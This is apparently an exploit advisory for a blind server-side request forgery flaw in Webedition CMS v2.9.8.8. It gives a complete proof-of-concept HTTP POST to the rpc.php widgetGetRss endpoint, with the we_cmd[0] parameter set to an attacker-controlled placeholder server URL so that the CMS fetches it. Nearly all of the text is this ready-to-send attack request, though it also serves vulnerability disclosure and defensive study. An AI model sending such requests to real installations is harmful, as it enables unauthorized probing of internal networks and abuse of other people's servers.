Exploit Title: Webedition CMS v2.9.8.8 - Blind SSRF Application: Webedition CMS Version: v2.9.8.8 Bugs: Blind SSRF Technology: PHP Vendor URL: https://www.webedition.org/ Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1 Date of found: 07.09.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== write https://youserver/test.xml to we_cmd[0] parameter poc request POST /webEdition/rpc.php?cmd=widgetGetRss&mod=rss HTTP/1.1 Host: localhost Content-Length: 141 sec-ch-ua: Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36 sec-ch-ua-platform: "" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/webEdition/index.php?we_cmd[0]=startWE Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: treewidth_main=300; WESESSION=41a9164e60666254199b3ea1cd3d2e0ad969c379; cookie=yep; treewidth_main=300 Connection: close we_cmd[0]=https://YOU-SERVER/test.xml&we_cmd[1]=111000&we_cmd[2]=0&we_cmd[3]=110000&we_cmd[4]=&we_cmd[5]=m_3